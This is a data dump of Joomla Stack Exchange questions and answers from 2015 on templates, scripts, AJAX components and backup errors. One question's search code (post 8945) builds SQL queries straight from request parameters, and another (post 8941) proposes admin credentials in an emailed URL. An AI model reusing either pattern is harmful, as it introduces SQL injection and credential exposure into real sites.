  <row Id="8921" PostTypeId="1" CreationDate="2015-03-06T06:13:03.173" Score="1" ViewCount="221" Body="&lt;p&gt;I have a variable containing javascript code which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;test_script = '&amp;lt;script type = &quot;text/javascript&quot;&amp;gt;code for url&amp;lt;/script&amp;gt;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I view it in inspect element, the script tags were eliminated, thus not showing the link I tried to display in the article. Is there a way to escape script tags so as for them not to be removed by joomla?&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2324" LastEditDate="2015-03-10T21:03:46.643" LastActivityDate="2015-03-17T14:24:05.310" Title="Removing script tags from variable values" Tags="|joomla-3.x|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostTypeId="1" CreationDate="2015-03-06T07:16:02.910" Score="0" ViewCount="2063" Body="&lt;p&gt;I have a Joomla article and I need to implement &quot;@include ....&quot; in the article source code, so it loads a PHP page from external link, but only this article should display the PHP page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched in Admin panel, navigated to that article, but the editor says that the article source code is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3823" LastEditorUserId="126" LastEditDate="2016-01-21T23:23:52.217" LastActivityDate="2016-01-21T23:23:52.217" Title="How to write php code inside the article in Joomla?" Tags="|php|articles|administrator|editing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostTypeId="2" ParentId="8922" CreationDate="2015-03-06T07:53:07.007" Score="2" Body="&lt;p&gt;You can not include PHP code in articles. But there are extensions that will help you to achieve it, for example &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Sorcerer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, you can add your PHP code into your article like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;  &amp;lt;?php&#xA;      include PATH_TO_FILE.php&#xA;  ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastEditorUserId="168" LastEditDate="2015-03-06T10:23:08.820" LastActivityDate="2015-03-06T10:23:08.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostTypeId="2" ParentId="8921" CreationDate="2015-03-06T08:44:20.227" Score="2" Body="&lt;p&gt;If you are adding this script code in the editor then there are some settings available in the editor plugin, where you can set whether script is allowed or not in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case there is some other way using which this variable is getting added then please specify that.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-06T08:44:20.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8926" PostTypeId="1" AcceptedAnswerId="8927" CreationDate="2015-03-06T10:20:47.977" Score="0" ViewCount="110" Body="&lt;p&gt;I'm using a GavickPro template... I would like to add some php code for making page class suffix working, but I don't know where is the index.php file where I have to write in...&#xA;Could you tell me the directory...?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="126" LastEditDate="2015-12-04T20:02:18.910" LastActivityDate="2015-12-04T20:02:18.910" Title="Index.php - Directory of Joomla 3 Templates" Tags="|joomla-3.x|templates|gavick|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8927" PostTypeId="2" ParentId="8926" CreationDate="2015-03-06T10:28:41.547" Score="0" Body="&lt;p&gt;As Gavick use a framework for their template, the file you need to edit is different. The code you would normally find in the &lt;em&gt;index.php&lt;/em&gt; is located in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/YOUR_TEMPLATE/layouts/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-06T10:28:41.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostTypeId="2" ParentId="5879" CreationDate="2015-03-06T12:17:05.617" Score="3" Body="&lt;p&gt;This is what I use to replace bootstrap2 with bootstrap3 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$assets = &quot;templates/&quot;.$this-&amp;gt;template;&#xA;&#xA;// load jquery&#xA;JHtml::_('jquery.framework');&#xA;&#xA;// remove default bootstrap js&#xA;foreach ($doc-&amp;gt;_scripts as $url =&amp;gt; $pars) {&#xA;    if ((strpos($url, &quot;bootstrap.js&quot;) !== false) || (strpos($url, &quot;bootstrap.min.js&quot;) !== false)) {&#xA;    unset($doc-&amp;gt;_scripts[$url]); // remove from head&#xA;    JHtml::stylesheet($assets.'/css/bootstrapjserror.css'); // Generate error message at bottom of browserscreen&#xA;}&#xA;}&#xA;&#xA;// add bootstrap 3 js&#xA;JHtml::script($assets.'/js/bootstrap.min.js');&#xA;&#xA;// remove default bootstrap css&#xA;foreach ($doc-&amp;gt;_styleSheets as $url =&amp;gt; $pars) {&#xA;if ((strpos($url, &quot;bootstrap.css&quot;) !== false) || (strpos($url, &quot;bootstrap.min.css&quot;) !== false)) {&#xA;    unset($doc-&amp;gt;_styleSheets[$url]); // remove from head&#xA;    JHtml::stylesheet($assets.'/css/bootstrapcsserror.css'); //Generate error message at bottom of browserscreen&#xA;}&#xA;}&#xA;// add bootstrap 3 css&#xA;JHtml::stylesheet($assets.'/css/bootstrap.min.css'); &#xA;&#xA;// add template css&#xA;JHtml::stylesheet($assets.'/css/template.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can ofcourse use some parts only in your custom views...&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditDate="2015-03-06T12:24:30.210" LastActivityDate="2015-03-06T12:24:30.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8932" PostTypeId="1" CreationDate="2015-03-06T13:17:07.717" Score="1" ViewCount="75" Body="&lt;p&gt;I have a problem with how the internal links of a website are formed while using the JRoute class. Instead of them being in the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www-mydomain-gr/[the rest of the url]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;they are formed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www-anotherdomain-gr/[the rest of the url]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the ‘anotherdomain-gr’ is another website in the shared server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tried to overcome the problem by placing the ‘mydomain-gr’ in the $live_site of the configuration file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$live_site = ‘www-mydomain-gr’&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is still there though. Why does it do that when I specifically added my domain to $live_site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way, except $live_site, to clearly and explicitly force the system to use only the domain ‘www-mydomain-gr’, so it doesn’t have to look for it when it forms the links?&lt;/p&gt;&#xA;" OwnerUserId="3825" LastEditorUserId="126" LastEditDate="2015-06-11T13:47:17.757" LastActivityDate="2015-06-11T13:47:17.757" Title="Domain url formed issue" Tags="|joomla-2.5|jroute|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostTypeId="2" ParentId="8920" CreationDate="2015-03-06T16:59:42.823" Score="2" Body="&lt;p&gt;The most commonly used approach is to hook the onbeforeunload event, like Stackoverflow itself does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onbeforeunload = function(){ &#xA;    // triggered when the user tries to navigate away / close the page&#xA;    return 'Your custom message';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ask the user whether they want to really close the page, along with your custom message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.w3schools.com/tags/ref_eventattributes.asp&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; or ask google for more info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to be more user-friendly, you could store in localstorage while the user fills in the details, and keep your copy of the settings there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the second approach - or a combination of the two - you'd achieve a better result, more user friendly, but you'll definitely be working harder than the first approach, which simply requires one line of code.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2015-03-06T16:59:42.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8936" PostTypeId="1" AcceptedAnswerId="8951" CreationDate="2015-03-06T18:27:59.747" Score="0" ViewCount="79" Body="&lt;p&gt;We have a Joomla 1.5.9 website with JForms component and MariaDB of unknown version, but definitely corresponding to MySQL 5.x. I have administered it through GUI (both backend and frontend) for two years, but now I see the code for the first time. I have some experience with php programming and I am quite proficient with SQL, but this is my first Joomla experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JForms version is optimized for MySQL 4, which leads to an error while saving a form (or better: while creating a database table for the form). I know exactly what I need to change in the SQL code, but I didn't find where are the queries produced, and where to change the CREATE TABLE syntax to match the database version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The clean solution would be to upgrade the component completely. We will do it someday, but none of us has time to do so yet, and even though it's a mess, it handles everyday tasks quite well. We need inserting in the existing forms almost every day, but we didn't need to create a new form for years and we probably won't need it before complete upgrade of the site, so this is not worth risking other bugs due to &quot;upgrade&quot; to a version incompatible with other parts of our website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JForms version information retrieved from the site: &lt;code&gt;JForms 0.7 RC2 (402) [ 08-August-2010 14:07 GMT ]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3745" LastEditorUserId="3745" LastEditDate="2015-03-09T08:46:29.223" LastActivityDate="2015-03-09T08:46:29.223" Title="SQL syntax error while creating a form in JForms - where to correct the SQL code?" Tags="|mysql|form|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8937" PostTypeId="2" ParentId="8921" CreationDate="2015-03-06T20:30:28.317" Score="2" Body="&lt;p&gt;Why don't you use the Joomla methods for adding scripts?&lt;br&gt;&#xA;Like this: &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow&quot;&gt;Adding JavaScript and CSS to the page&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or encode and later decode the var with php&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditDate="2015-03-17T14:24:05.310" LastActivityDate="2015-03-17T14:24:05.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8939" PostTypeId="2" ParentId="8863" CreationDate="2015-03-07T02:16:28.913" Score="1" Body="&lt;p&gt;Unfortunately, there is no feature like this in the core. But you can achieve it with template overrides till web services and pagination layout are implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no out-of-the-box solution, but in principle you just need to alter the category view(-layout) to provide an optional &quot;items-only&quot;-markup. If you are not  familiar with php and js you might need professional help.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-03-07T02:16:28.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8940" PostTypeId="2" ParentId="4803" CreationDate="2015-03-07T06:04:54.937" Score="3" Body="&lt;p&gt;The Automatic Menu Extension that I used from J1.5 was:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ArtCats for Joomla!:&lt;/strong&gt; &lt;a href=&quot;http://www.orware.com/products/artcats-module/all-pages&quot; rel=&quot;nofollow&quot;&gt;http://www.orware.com/products/artcats-module/all-pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its been updated for J3 - and if you want it in your menu then choose a menu system that allows modules inserted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Kazaam:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/kazaam&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/kazaam&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use FLEXIcontent CCK - you have the universal module - which would enable you to create menus through modules. The problem I always have is it getting it to use SEF friendly names  (&lt;a href=&quot;http://www.flexicontent.org/forum/index.php?f=20&amp;amp;t=8401&amp;amp;rb_v=viewtopic&quot; rel=&quot;nofollow&quot;&gt;http://www.flexicontent.org/forum/index.php?f=20&amp;amp;t=8401&amp;amp;rb_v=viewtopic&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - because of this I typically end up using: &lt;strong&gt;Add to Menu:&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/profile/extension/administration/admin-navigation/add-to-menu&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/profile/extension/administration/admin-navigation/add-to-menu&lt;/a&gt; - but this isn't automatic - however it creates nice URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me the biggest flaw with Joomla! is the menu system. &lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-03-07T06:04:54.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8941" PostTypeId="1" CreationDate="2015-03-07T07:53:12.533" Score="2" ViewCount="122" Body="&lt;p&gt;I am new to Joomla! development. I have an event management component that I am modifying. One of the views of the component is for event registration. I want to make registration private, and want to be able to send an email to invitees so that they click a url in the email and it takes them to the registration page. My current understanding is that this will not work since the registration page starts with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The component author suggested that I can create an admin account, say with user $user and pw $pw and that in the email inviting people to register I could use a url of the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://url-to-the-event/registration?u=username&amp;amp;p=password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do that, seems somewhere I would have to add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$params= $jinput-&amp;gt;getArray(array('u' =&amp;gt; '', 'p' =&amp;gt; ''));&#xA;$result = JFactory::getApplication()-&amp;gt;login($params)); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that correct? Where in a component structure would I do that? &#xA;In the controller of the component I see this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$safeurlparams =     array('catid'=&amp;gt;'INT','id'=&amp;gt;'INT','Itemid'=&amp;gt;'INT','cid'=&amp;gt;'ARRAY','year'=&amp;gt;'INT','month'=&amp;gt;'INT','limit'=&amp;gt;'INT','limitstart'=&amp;gt;'INT',           'showall'=&amp;gt;'INT','return'=&amp;gt;'BASE64','filter'=&amp;gt;'STRING','filter_order'=&amp;gt;'CMD','filter_order_Dir'=&amp;gt;'CMD','filter-search'=&amp;gt;'STRING','print'=&amp;gt;'BOOLEAN','lang'=&amp;gt;'CMD');&#xA;&#xA;parent::display($cachable,$safeurlparams);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So seems there is some existing Joomla! structure to facilitate what I want to do, but I am not sure where exactly to make changes. And I know this approach is perhaps non-ideal, to be having login info in a url... So I am also open to suggestions on how best to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&#xA;Brian&lt;/p&gt;&#xA;" OwnerUserId="2321" LastEditorUserId="3869" LastEditDate="2015-04-07T18:01:52.113" LastActivityDate="2015-04-08T10:29:58.460" Title="How to pass parameters via email to component?" Tags="|component|development|login|registration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8943" PostTypeId="1" CreationDate="2015-03-07T09:38:56.313" Score="0" ViewCount="885" Body="&lt;p&gt;Can we access same articles in different categories? I want to show one article in different categories using Category blog layout. Please advise how.&lt;/p&gt;&#xA;" OwnerUserId="3517" LastActivityDate="2015-03-11T16:34:21.523" Title="same article with different categories" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ClosedDate="2015-03-12T03:13:56.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="8944" PostTypeId="2" ParentId="8941" CreationDate="2015-03-07T13:23:43.330" Score="1" Body="&lt;p&gt;Most components that allow user registration support sending an activation email to the user. The way this works is that you you register the user with necessary data, the component sends an activation email to the address you gave to the user, and the registration only becomes active then the user uses the activation link in the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You make no mention of what component you use so I can't even guess if it supports this directly or if you need to use something separate. In any case, you can check some component that &lt;strong&gt;does&lt;/strong&gt; support this to see how to handle it.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-07T13:23:43.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8945" PostTypeId="1" AcceptedAnswerId="8956" CreationDate="2015-03-07T15:22:02.260" Score="2" ViewCount="998" Body="&lt;p&gt;I making a practice component and i would like to try make an ajax search .&#xA;Inside my component i made 2 methods. Method &lt;code&gt;search()&lt;/code&gt; and &lt;code&gt;searchRes()&lt;/code&gt;. The first has the html form for the search bar and the second one handle the php-&gt;mysql work returning the results.&#xA;At the moment i print the results @ &lt;code&gt;index.php?option=com_pelatol&amp;amp;task=searchRes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altough i would like to implement some ajax to ouput the results below the form.&#xA;Im trying for hours now achieve the correct jquery script but cant get it done.&#xA;I tried do it with com_ajax but i got far more lost than without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the script is looking at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$js = &amp;lt;&amp;lt;&amp;lt;JS&#xA;(function ($) {&#xA;    $(document).on('click', '.srcButton', function () {&#xA;        var value   = $('.ajaxform').serialize(),&#xA;            request = {&#xA;                    'option' : 'com_pelatol',&#xA;                    'component' : 'com_pelatol',&#xA;                    'data'   : value,&#xA;                    'format' : 'raw'&#xA;&#xA;&#xA;            };&#xA;&#xA;        $.ajax({&#xA;            type   : 'GET',&#xA;            url    : 'index.php?option=com_pelatol&amp;amp;task=searchRes'&#xA;            data   : request,&#xA;            format : raw,&#xA;            success: function (response) {&#xA;                $('.theResults').html(response);&#xA;            }&#xA;        });&#xA;        return false;&#xA;    });&#xA;})(jQuery)&#xA;JS;&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im sure this is wrong but dunno how to fix it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'option' : 'com_pelatol',&#xA;'component' : 'com_pelatol',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Method search()&#xA;(i removed the action from Form so it wont redirect)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function search() {&#xA;    //action=&quot;'.$route.'&quot; method=&quot;GET&quot; id=&quot;ajaxform&quot; &#xA;    $route= JRoute::_( 'index.php?option=com_pelatol&amp;amp;task=searchRes');&#xA;    $html='&amp;lt;div class=&quot;searchContainer&quot;&amp;gt;';&#xA;    $html.='&amp;lt;h3 style=&quot;text-align:center;&quot;&amp;gt; Search Area &amp;lt;/h3&amp;gt;';&#xA;    $html.='&amp;lt;p&amp;gt;  Search By term: &amp;lt;/p&amp;gt;';&#xA;    $html.='&amp;lt;form &amp;gt;&amp;lt;div class=&quot;radio&quot;&amp;gt;';&#xA;    $html.='&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_pelatol&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;searchRes&quot; /&amp;gt;';&#xA;    $html.='&amp;lt;input id=&quot;id&quot; type=&quot;radio&quot; name=&quot;term&quot; value=&quot;ID&quot;&amp;gt;';&#xA;    $html.='&amp;lt;label for=&quot;id&quot;&amp;gt;Id&amp;lt;/label&amp;gt;';&#xA;    $html.='&amp;lt;input id=&quot;lastName&quot; type=&quot;radio&quot; name=&quot;term&quot; value=&quot;LASTNAME&quot;&amp;gt;';&#xA;    $html.='&amp;lt;label for=&quot;lastName&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;';&#xA;    $html.='&amp;lt;input id=&quot;firstName&quot; type=&quot;radio&quot; name=&quot;term&quot; value=&quot;FIRSTNAME&quot;&amp;gt;';&#xA;    $html.='&amp;lt;label for=&quot;firstName&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;';&#xA;    $html.='&amp;lt;input id=&quot;email&quot; type=&quot;radio&quot; name=&quot;term&quot; value=&quot;EMAIL&quot;&amp;gt;';&#xA;    $html.='&amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;';&#xA;    $html.='&amp;lt;input id=&quot;all&quot; type=&quot;radio&quot; name=&quot;term&quot; value=&quot;all&quot;&amp;gt;';&#xA;    $html.='&amp;lt;label for=&quot;all&quot;&amp;gt;All&amp;lt;/label&amp;gt;';&#xA;    $html.='&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;';&#xA;    $html.='&amp;lt;input type=&quot;text&quot; name=&quot;query&quot;/&amp;gt;';&#xA;    $html.='&amp;lt;input class=&quot;srcButton&quot;? type=&quot;submit&quot; value=&quot;Search&quot;/&amp;gt;';&#xA;    $html.='&amp;lt;/div&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    $html.='&amp;lt;div id=&quot;theResults&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    echo $html;&#xA;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the SearchRes Method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function searchRes() {&#xA;&#xA;$term=$_GET['term'];&#xA;$src=$_GET['query'];&#xA;if ($term==&quot;all&quot;) {&#xA;    //will fill it later&#xA;}else {&#xA;    $hq=$term;&#xA;}&#xA;$db=JFactory::getDbo();&#xA;$query='Select * from #__pelatologio where '.$hq.' LIKE &quot;'.$src.'&quot;';&#xA;$db-&amp;gt;setQuery($query);&#xA;$options=$db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($options as $row) {&#xA;    $query2='SELECT * from #__akinita where NAMEID='.$row-&amp;gt;ID;&#xA;    $db-&amp;gt;setQuery($query2);&#xA;    $options2=$db-&amp;gt;loadObjectList();&#xA;    echo '&amp;lt;div class=&quot;resContainer&quot;&amp;gt;';&#xA;    echo '&amp;lt;div class=&quot;userRes&quot;&amp;gt;';&#xA;    echo '&amp;lt;span&amp;gt;ID: &amp;lt;/span&amp;gt;';&#xA;    echo $row-&amp;gt;ID;&#xA;    echo '&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Last Name: &amp;lt;/span&amp;gt;';&#xA;    echo $row-&amp;gt;LASTNAME;&#xA;    echo '&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;First Name: &amp;lt;/span&amp;gt;';&#xA;    echo $row-&amp;gt;FIRSTNAME;&#xA;    echo '&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Email: &amp;lt;/span&amp;gt;';&#xA;    echo $row-&amp;gt;EMAIL;&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    echo '&amp;lt;br/&amp;gt;&amp;lt;span&amp;gt;Ακίνητα Χρήστη&amp;lt;/span&amp;gt;';&#xA;    foreach($options2 as $akin) {&#xA;        echo '&amp;lt;div class=&quot;akinRes&quot;&amp;gt;';&#xA;        echo '&amp;lt;span&amp;gt;ID: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;ID;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Είδος: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;EIDOS;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Περιοχή: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;PERIOXI;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Εμβαδόν: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;EMBADON;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Δωμάτια: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;IPNODOMATIA;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Μπάνια: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;MPANIA;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Ετος: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;ETOS;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Θέρμανση: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;THERMANSI;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Διαθέσιμο: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;DIATHESIMO;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Οδός: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;ADDRESS;&#xA;        echo '&amp;lt;/br&amp;gt;&amp;lt;span&amp;gt;Τιμή: &amp;lt;/span&amp;gt;';&#xA;        echo $akin-&amp;gt;PRICE;&#xA;&#xA;&#xA;    }&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;&#xA;}&#xA;echo '&amp;lt;br clear=&quot;both&quot; /&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone enlight me more on how to do that ? I was thinking of creating a new component only for the ajax call.&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2015-03-08T13:43:42.323" Title="using ajax inside a component without using com_ajax?" Tags="|joomla-2.5|component|development|ajax|form|" AnswerCount="2" CommentCount="0" ClosedDate="2015-03-08T18:45:57.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="8946" PostTypeId="1" AcceptedAnswerId="8947" CreationDate="2015-03-07T17:10:07.730" Score="0" ViewCount="2658" Body="&lt;p&gt;I failed my latest attempts to backup my Joomla2.5 website after the following error message from Akeeba:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Backup Failed&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The backup operation has been halted because an error was detected.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The last error message was:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;AEAbstractDump :: Database Error: Unknown system variable 'OPTION' SQL=SET OPTION SQL_BIG_SELECTS=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I searched parts of this text on Google but didn't work out much: only &lt;a href=&quot;http://www.webhostingtalk.pl/topic/47843-akeebabackup-w-iq/&quot; rel=&quot;nofollow&quot;&gt;this forum discussion in polish&lt;/a&gt; makes me guess I should comment the code line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery('SET OPTION SQL_BIG_SELECTS=1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the file &lt;code&gt;mysql.php&lt;/code&gt;, whose path is given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you agree trying this to solve the problem? Can you explain what caused this error to occur? I would just like to understand a bit more of what happened before handling php files. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2017-09-18T08:37:23.153" Title="Backup failed using Akeeba" Tags="|joomla-2.5|error-handling|akeebabackup|backups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
